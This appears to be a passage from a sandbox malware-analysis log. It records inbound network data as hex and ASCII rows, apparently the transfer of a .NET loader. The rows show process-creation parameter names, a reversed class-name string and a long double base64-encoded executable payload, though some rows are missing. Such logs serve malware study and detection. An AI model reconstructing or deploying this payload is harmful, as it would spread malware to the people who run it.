2021-12-01 08:14:01 UTC	12	IN	Data Raw: 00 6d 5f 4d 65 73 73 61 67 65 00 2e 63 63 74 6f 72 00 43 6f 6d 70 61 72 65 49 6e 66 6f 00 69 64 65 6e 74 00 49 6e 74 31 36 00 76 69 73 73 69 7a 65 00 5f 53 65 74 74 65 72 00 73 65 74 75 70 00 45 6d 70 74 79 00 52 65 70 6c 61 63 65 00 57 72 69 74 65 49 6e 66 6f 00 41 73 73 65 74 49 6e 66 6f 00 76 61 72 31 00 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 00 43 6f 6e 76 65 72 74 00 43 61 6c 6c 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53 68 61 72 70 42 69 6e 64 65 72 46 6c 61 67 73 00 43 61 6c 6c 53 69 74 65 60 31 00 46 Data Ascii: m_Message.cctorCompareInfoidentInt16vissize_SettersetupEmptyReplaceWriteInfoAssetInfovar1BinderMicrosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtime.CompilerServicesSystem.CoreCSharpBinderFlagsCallSite`1F
2021-12-01 08:14:01 UTC	13	IN	Data Raw: 74 43 6f 64 65 00 63 6f 75 6e 74 65 72 00 68 61 6e 64 6c 65 00 74 6f 6b 65 6e 00 68 54 6f 6b 65 6e 00 6c 70 41 70 70 6c 69 63 61 74 69 6f 6e 4e 61 6d 65 00 6c 70 43 6f 6d 6d 61 6e 64 4c 69 6e 65 00 6c 70 50 72 6f 63 65 73 73 41 74 74 72 69 62 75 74 65 73 00 6c 70 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 73 00 62 49 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6c 61 67 73 00 6c 70 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 6c 70 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 00 6c 70 53 74 61 72 74 75 70 49 6e 66 6f 00 6c 70 50 72 6f 63 65 73 72 65 64 61 6f 4c 72 65 6e 67 69 73 65 44 6e 6f 69 74 61 7a 69 6c 61 69 72 65 53 6e 67 69 73 65 44 6c 65 64 6f 4d 74 6e 65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 32 39 34 31 38 00 68 4e 65 77 Data Ascii: tCodecounterhandletokenhTokenlpApplicationNamelpCommandLinelpProcessAttributeslpThreadAttributesbInheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcesredaoLrengiseDnoitazilaireSngiseDledoMtnenopmoCmetsyS29418hNew
2021-12-01 08:14:01 UTC	14	IN	Data Raw: 49 4a 00 39 00 39 00 37 00 31 00 43 00 55 00 35 00 48 00 77 00 63 00 6b 00 50 00 52 00 49 00 58 00 46 00 79 00 45 00 4a 00 50 00 6a 00 6f 00 6f 00 47 00 54 00 39 00 58 00 4a 00 53 00 73 00 45 00 4f 00 58 00 4a 00 4f 00 00 39 49 00 39 00 39 00 37 00 31 00 31 00 41 00 58 00 45 00 41 00 5a 00 42 00 42 00 79 00 34 00 58 00 47 00 45 00 59 00 4f 00 43 00 54 00 55 00 33 00 55 00 67 00 3d 00 3d 00 00 41 49 00 39 00 39 00 37 00 31 00 54 00 6f 00 68 00 50 00 67 00 64 00 41 00 4d 00 6c 00 55 00 41 00 43 00 54 00 45 00 63 00 43 00 55 00 41 00 73 00 41 00 77 00 56 00 57 00 50 00 6d 00 77 00 3d 00 00 59 4a 00 39 00 39 00 37 00 31 00 67 00 77 00 39 00 4d 00 41 00 63 00 65 00 59 00 41 00 38 00 74 00 43 00 53 00 6b 00 56 00 4d 00 53 00 6f 00 47 00 50 00 7a 00 77 00 4a 00 Data Ascii: IJ9971CU5HwckPRIXFyEJPjooGT9XJSsEOXJO9I99711AXEAZBBy4XGEYOCTU3Ug==AI9971TohPgdAMlUACTEcCUAsAwVWPmw=YJ9971gw9MAceYA8tCSkVMSoGPzwJ
2021-12-01 08:14:01 UTC	16	IN	Data Raw: 84 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 50 65 72 6d 69 73 73 69 6f 6e 73 2e 53 65 63 75 72 69 74 79 50 65 72 6d 69 73 73 69 6f 6e 41 74 74 72 69 62 75 74 65 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 15 01 54 02 10 53 6b 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e 01 08 b7 7a 5c 56 19 34 e0 89 05 00 01 01 1d 0e 04 20 01 01 0e 03 00 00 0a 03 00 00 01 08 00 02 01 12 80 8c 1d 1c 05 15 12 21 01 02 05 20 02 01 1c 18 04 20 00 13 00 03 20 00 01 04 06 12 80 8c 03 20 00 02 2b 07 16 02 0f 11 70 0f 11 78 0e 18 18 12 34 11 80 84 11 6c 12 34 11 80 88 18 0a 0b 1d 05 09 11 6c Data Ascii: System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TSkipVerificationz\V4 ! +px4l4l
2021-12-01 08:14:01 UTC	17	IN	Data Raw: 00 00 00 00 00 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 01 08 01 00 02 00 00 00 00 00 06 20 01 01 11 80 c9 47 01 00 1a 2e 4e 45 54 46 72 61 6d 65 77 6f 72 6b 2c 56 65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 0e 14 46 72 61 6d 65 77 6f 72 6b 44 69 73 70 6c 61 79 4e 61 6d 65 10 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 20 34 04 01 00 00 00 0c 01 00 03 00 00 00 02 00 00 00 00 00 09 20 02 01 11 80 e1 11 80 e5 56 00 39 00 39 00 37 00 31 00 46 00 5a 00 78 00 55 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 53 00 38 00 76 00 4f 00 45 00 46 00 42 00 54 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 51 00 Data Ascii: TWrapNonExceptionThrows G.NETFramework,Version=v4.0TFrameworkDisplayName.NET Framework 4 V9971FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQ
2021-12-01 08:14:01 UTC	18	IN	Data Raw: 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 42 00 51 00 55 00 46 00 44 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 4e 00 42 00 51 00 55 00 46 00 46 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 7a 00 55 00 77 00 57 00 6c 00 68 00 6f 00 4d 00 45 00 46 00 42 00 51 00 55 00 46 00 77 00 53 00 56 00 6c 00 43 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 70 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 Data Ascii: FBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUFwSVlCQUFBZ0FBQUFpQUVBQUFRQUFBQUFBQUFBQUFBQUFBQU
2021-12-01 08:14:01 UTC	20	IN	Data Raw: 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 Data Ascii: BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
2021-12-01 08:14:01 UTC	21	IN	Data Raw: 72 00 51 00 30 00 46 00 42 00 51 00 55 00 4a 00 42 00 51 00 55 00 46 00 53 00 59 00 33 00 68 00 72 00 51 00 55 00 46 00 42 00 62 00 30 00 74 00 42 00 62 00 6a 00 63 00 7a 00 51 00 55 00 46 00 42 00 52 00 55 00 70 00 54 00 4d 00 46 00 68 00 4b 00 62 00 6a 00 63 00 79 00 51 00 55 00 46 00 42 00 52 00 53 00 39 00 6e 00 59 00 6d 00 56 00 42 00 55 00 55 00 46 00 48 00 59 00 33 00 68 00 76 00 51 00 55 00 46 00 42 00 62 00 32 00 78 00 6e 00 55 00 47 00 4e 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 46 00 52 00 51 00 55 00 46 00 4c 00 4d 00 6a 00 68 00 6a 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 36 00 61 00 55 00 5a 00 42 00 5a 00 30 00 46 00 42 00 51 00 6a 00 49 00 34 00 5a 00 45 00 46 00 42 00 51 00 55 00 74 00 47 00 65 00 47 00 4e 00 61 00 61 00 6c 00 5a Data Ascii: rQ0FBQUJBQUFSY3hrQUFBb0tBbjczQUFBRUpTMFhKbjcyQUFBRS9nYmVBUUFHY3hvQUFBb2xnUGNBQUFRb0FRQUFLMjhjQUFBS0N6aUZBZ0FBQjI4ZEFBQUtGeGNaalZ
2021-12-01 08:14:01 UTC	22	IN	Data Raw: 00 51 00 32 00 68 00 4e 00 52 00 30 00 56 00 52 00 55 00 6a 00 63 00 35 00 55 00 55 00 46 00 42 00 51 00 6b 00 4e 00 71 00 63 00 6b 00 46 00 42 00 51 00 55 00 64 00 46 00 64 00 32 00 4e 00 53 00 51 00 6e 00 6c 00 6e 00 62 00 55 00 46 00 42 00 51 00 55 00 74 00 50 00 64 00 6b 00 6c 00 42 00 51 00 55 00 46 00 42 00 55 00 6b 00 4a 00 53 00 52 00 55 00 64 00 69 00 65 00 55 00 6c 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 68 00 69 00 65 00 56 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 55 00 76 00 5a 00 32 00 4a 00 5a 00 51 00 56 00 46 00 42 00 52 00 32 00 4e 00 35 00 64 00 30 00 46 00 42 00 51 00 58 00 41 00 72 00 4b 00 30 00 46 00 42 00 51 00 55 00 4a 00 44 00 56 00 58 00 52 00 47 00 65 00 56 00 6f 00 Data Ascii: Q2hNR0VRUjc5UUFBQkNqckFBQUdFd2NSQnlnbUFBQUtPdklBQUFBUkJSRUdieUlCQUFZUkJSRUhieVFCQUFZUkJSRUUvZ2JZQVFBR2N5d0FBQXArK0FBQUJDVXRGeVo
2021-12-01 08:14:01 UTC	24	IN	Data Raw: 51 00 55 00 4e 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 64 00 52 00 53 00 55 00 46 00 42 00 53 00 7a 00 42 00 44 00 51 00 55 00 46 00 42 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 46 00 42 00 51 00 58 00 68 00 42 00 51 00 55 00 46 00 42 00 62 00 48 00 64 00 4a 00 51 00 55 00 46 00 4e 00 5a 00 30 00 4e 00 42 00 51 00 55 00 46 00 4c 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 36 00 5a 00 30 00 6c 00 42 00 51 00 55 00 35 00 52 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43 Data Ascii: QUNVQUFBQUdRSUFBSzBDQUFBT0FBQUFBQUFBQUFJQUFBQXhBQUFBbHdJQUFNZ0NBQUFLQUFBQUFBQUFBQUFBQUFBR0FBQUF6Z0lBQU5RQ0FBQURBQUFBQ2dBQUFSc3dC
2021-12-01 08:14:01 UTC	25	IN	Data Raw: 00 7a 00 6c 00 42 00 51 00 55 00 46 00 4c 00 54 00 45 00 46 00 6e 00 52 00 30 00 56 00 52 00 57 00 6e 00 5a 00 51 00 5a 00 30 00 46 00 42 00 51 00 32 00 68 00 46 00 52 00 6b 00 59 00 78 00 5a 00 31 00 52 00 43 00 55 00 6b 00 56 00 47 00 52 00 56 00 46 00 53 00 64 00 6e 00 46 00 33 00 51 00 55 00 46 00 43 00 61 00 6a 00 68 00 58 00 4c 00 79 00 38 00 76 00 4c 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 52 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 44 00 55 00 33 00 42 00 43 00 57 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00 43 00 52 00 6b 00 46 00 42 00 51 00 55 00 46 00 30 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 46 00 42 00 Data Ascii: zlBQUFLTEFnR0VRWnZQZ0FBQ2hFRkYxZ1RCUkVGRVFSdnF3QUFCajhXLy8vLzNnTW0zZ0RlQXliZUFBWXFDU3BCWkFBQUFBQUFBRzhBQUFCRkFBQUF0QUFBQUFNQUFB
2021-12-01 08:14:01 UTC	26	IN	Data Raw: 55 00 46 00 42 00 55 00 57 00 39 00 4f 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00 4e 00 4e 00 45 00 46 00 42 00 51 00 55 00 74 00 69 00 4e 00 6a 00 42 00 42 00 51 00 55 00 46 00 61 00 64 00 6b 00 39 00 33 00 51 00 55 00 46 00 44 00 62 00 54 00 67 00 79 00 51 00 56 00 46 00 42 00 52 00 30 00 56 00 52 00 59 00 31 00 4a 00 43 00 51 00 6b 00 56 00 47 00 53 00 48 00 64 00 74 00 54 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4d 00 58 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 79 00 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 4a 00 4c 00 30 00 46 00 6e 00 51 00 6e 00 64 00 69 00 65 00 56 00 56 00 42 00 51 00 55 00 46 00 77 00 64 Data Ascii: UFBUW9Od0FBQ25NNEFBQUtiNjBBQUFadk93QUFDbTgyQVFBR0VRY1JCQkVGSHdtTldnQUFBU1hRMXdBQUJDZzNBQUFLY3pnQUFBcHZyUUFBQm5JL0FnQndieVVBQUFwd
2021-12-01 08:14:01 UTC	28	IN	Data Raw: 00 46 00 42 00 51 00 55 00 39 00 52 00 51 00 55 00 46 00 42 00 55 00 44 00 68 00 43 00 51 00 55 00 46 00 42 00 4e 00 45 00 46 00 6e 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 42 00 51 00 55 00 46 00 45 00 59 00 30 00 4e 00 42 00 51 00 55 00 45 00 35 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 59 00 6b 00 31 00 42 00 57 00 55 00 46 00 54 00 5a 00 30 00 56 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 43 00 52 00 6e 00 70 00 53 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 76 00 51 00 30 00 68 00 76 00 4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 Data Ascii: FBQU9RQUFBUDhCQUFBNEFnQUFBd0FBQUFvQUFBRUFBQUFBQmdBQUFEY0NBQUE5QWdBQUF3QUFBQThBQUFFYk1BWUFTZ0VBQUFRQUFCRnpSZ0FBQ2dvQ0hvMWFBQUFCS
2021-12-01 08:14:01 UTC	29	IN	Data Raw: 6c 00 78 00 51 00 31 00 4e 00 76 00 51 00 55 00 46 00 46 00 52 00 6b 00 31 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 46 00 6e 00 51 00 55 00 46 00 42 00 53 00 7a 00 68 00 42 00 51 00 55 00 46 00 42 00 57 00 6b 00 46 00 52 00 51 00 55 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 55 00 4a 00 42 00 51 00 55 00 45 00 72 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 55 00 51 00 77 00 51 00 6b 00 46 00 42 00 51 00 6b 00 52 00 42 00 55 00 55 Data Ascii: lxQ1NvQUFFRk1BQUFBQUFBQWFnQUFBSzhBQUFBWkFRQUFBd0FBQUFvQUFBRUFBQUFBT1FBQUFBVUJBQUErQVFBQUF3QUFBQThBQUFFQUFBQUFCZ0FBQUQwQkFBQkRBUU
2021-12-01 08:14:01 UTC	30	IN	Data Raw: 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 31 00 46 00 42 00 51 00 55 00 46 00 4e 00 63 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 6b 00 46 00 42 00 51 00 55 00 70 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 4e 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 6c 00 42 00 51 00 55 00 4a 00 47 00 4b 00 30 00 68 00 6e 00 51 00 55 00 Data Ascii: Bd0FBQUFvQUFBRUFBQUFBT1FBQUFNc0FBQUFFQVFBQUF3QUFBQThBQUFFQUFBQUFCZ0FBQUFNQkFBQUpBUUFBQXdBQUFBOEFBQUViTUFNQVFBQUFBQVlBQUJGK0hnQU
2021-12-01 08:14:01 UTC	32	IN	Data Raw: 5a 00 52 00 46 00 4e 00 31 00 56 00 55 00 4e 00 53 00 5a 00 33 00 70 00 50 00 57 00 45 00 78 00 49 00 51 00 57 00 64 00 43 00 64 00 30 00 4e 00 44 00 61 00 46 00 42 00 42 00 51 00 55 00 46 00 4c 00 53 00 48 00 63 00 72 00 54 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 65 00 48 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 50 00 55 00 55 00 46 00 42 00 51 00 32 00 64 00 7a 00 53 00 45 00 74 00 45 00 62 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 54 00 47 00 64 00 72 00 57 00 46 00 64 00 42 00 4d 00 44 00 52 00 57 00 4c 00 79 00 38 00 76 00 4c 00 33 00 64 00 72 00 57 00 6c 00 46 00 47 00 52 00 43 00 38 00 76 00 4c 00 7a 00 68 Data Ascii: ZRFN1VUNSZ3pPWExIQWdCd0NDaFBBQUFLSHcrTldnQUFBU1hReHdBQUJDZzNBQUFLY3pnQUFBb29PUUFBQ2dzSEtEb0FBQW90TGdrWFdBMDRWLy8vL3drWlFGRC8vLzh
2021-12-01 08:14:01 UTC	33	IN	Data Raw: 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 43 00 65 00 57 00 56 00 42 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 46 00 33 00 51 00 31 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 56 00 59 00 54 00 54 00 4a 00 42 00 51 00 55 00 46 00 4c 00 51 00 32 00 64 00 4b 00 65 00 6c 00 5a 00 52 00 51 00 55 00 46 00 44 00 5a 00 33 00 52 00 36 00 56 00 6d 00 64 00 42 00 51 00 55 00 4e 00 70 00 56 00 55 00 68 00 69 00 4d 00 57 00 4e 00 42 00 51 00 55 00 46 00 77 00 64 00 6c 00 64 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6c 00 61 00 51 00 55 00 46 00 42 00 53 00 30 00 5a 00 74 00 4f 00 57 00 46 00 Data Ascii: QVlxQUFBQUFSQUFBQUFBQmdCeWVBQURDZ0FBQVJzd0F3Q1hBQUFBQ2dBQUVYTTJBQUFLQ2dKelZRQUFDZ3R6VmdBQUNpVUhiMWNBQUFwdldBQUFDbTlaQUFBS0ZtOWF
2021-12-01 08:14:01 UTC	34	IN	Data Raw: 57 00 57 00 39 00 5a 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 6f 00 64 00 6c 00 68 00 6e 00 51 00 55 00 46 00 44 00 61 00 57 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 79 00 52 00 55 00 46 00 42 00 51 00 58 00 42 00 32 00 56 00 46 00 46 00 46 00 51 00 55 00 4a 00 6e 00 5a 00 48 00 5a 00 45 00 51 00 55 00 46 00 42 00 51 00 32 00 70 00 77 00 55 00 79 00 38 00 76 00 4c 00 79 00 38 00 7a 00 61 00 45 00 56 00 49 00 5a 00 46 00 4a 00 5a 00 51 00 55 00 46 00 42 00 52 00 55 00 35 00 44 00 55 00 33 00 64 00 48 00 51 00 31 00 63 00 34 00 54 00 45 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 6a 00 56 00 72 00 53 00 6e 00 51 00 31 00 61 00 45 00 4a 00 6e 00 57 00 6e 00 5a 00 54 00 51 00 55 00 56 00 42 00 51 00 6d 00 6c 00 6e 00 62 00 55 00 46 00 42 Data Ascii: WW9ZQUFBQ2dodlhnQUFDaWhMQUFBS2IyRUFBQXB2VFFFQUJnZHZEQUFBQ2pwUy8vLy8zaEVIZFJZQUFBRU5DU3dHQ1c4TEFBQUszTjVrSnQ1aEJnWnZTQUVBQmlnbUFB
2021-12-01 08:14:01 UTC	36	IN	Data Raw: 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 75 00 53 00 6c 00 70 00 42 00 51 00 55 00 4a 00 33 00 5a 00 6d 00 67 00 30 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 49 00 64 00 30 00 46 00 42 00 51 00 32 00 6c 00 6f 00 61 00 6b 00 46 00 42 00 51 00 55 00 74 00 69 00 65 00 56 00 56 00 42 00 51 00 55 00 46 00 76 00 64 00 45 00 4e 00 53 00 52 00 55 00 56 00 4c 00 51 00 6b 00 46 00 42 00 51 00 55 00 46 00 5a 00 63 00 6b 00 4a 00 34 00 52 00 55 00 56 00 4c 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 5a 00 56 00 45 00 4a 00 53 00 52 00 55 00 5a 00 4c 00 51 00 31 00 6c 00 42 00 51 00 55 00 46 00 76 00 64 00 46 00 70 00 59 00 54 00 58 00 56 00 42 00 55 00 55 00 46 00 48 00 53 00 6c 00 4a 00 46 00 Data Ascii: UtEY0FBQXB6T0FBQUNuSlpBQUJ3Zmg0QUFBb29Id0FBQ2loakFBQUtieVVBQUFvdENSRUVLQkFBQUFZckJ4RUVLQThBQUFZVEJSRUZLQ1lBQUFvdFpYTXVBUUFHSlJF
2021-12-01 08:14:01 UTC	37	IN	Data Raw: 32 00 6b 00 77 00 53 00 45 00 4a 00 6e 00 4d 00 32 00 52 00 71 00 55 00 55 00 56 00 42 00 51 00 55 00 46 00 6b 00 65 00 6e 00 4a 00 42 00 51 00 55 00 46 00 43 00 5a 00 33 00 64 00 4a 00 53 00 48 00 64 00 31 00 54 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4e 00 30 00 46 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 79 00 64 00 30 00 46 00 42 00 51 00 6d 00 6c 00 5a 00 56 00 30 00 56 00 33 00 55 00 54 00 52 00 55 00 51 00 55 00 56 00 42 00 51 00 55 00 4a 00 52 00 56 00 45 00 4a 00 52 00 5a 00 31 00 4a 00 43 00 53 00 45 00 6c 00 45 00 51 00 58 00 64 00 43 00 64 00 32 00 4e 00 73 00 56 00 55 00 52 00 42 00 53 00 45 00 49 00 72 00 53 Data Ascii: 2kwSEJnM2RqUUVBQUFkenJBQUFCZ3dJSHd1TldnQUFBU1hRN0FBQUJDZzNBQUFLY3pnQUFBcHZyd0FBQmlZV0V3UTRUQUVBQUJRVEJRZ1JCSElEQXdCd2NsVURBSEIrS
2021-12-01 08:14:01 UTC	38	IN	Data Raw: 00 31 00 46 00 52 00 56 00 46 00 52 00 53 00 57 00 49 00 32 00 63 00 30 00 46 00 42 00 51 00 56 00 6b 00 76 00 63 00 43 00 38 00 33 00 4c 00 79 00 38 00 35 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 53 00 6b 00 74 00 6e 00 51 00 55 00 46 00 52 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 70 00 42 00 51 00 55 00 46 00 42 00 54 00 6b 00 46 00 46 00 51 00 55 00 46 00 4b 00 59 00 30 00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 30 00 55 00 55 00 56 00 42 00 51 00 55 00 78 00 7a 00 51 00 6b 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 Data Ascii: 1FRVFRSWI2c0FBQVkvcC83Ly85NERKdDRBQmlvSktnQUFRVFFBQUFBQUFBQmpBQUFBTkFFQUFKY0JBQUFEQUFBQUNnQUFBUUFBQUFBR0FBQUF0UUVBQUxzQkFBQURBQ
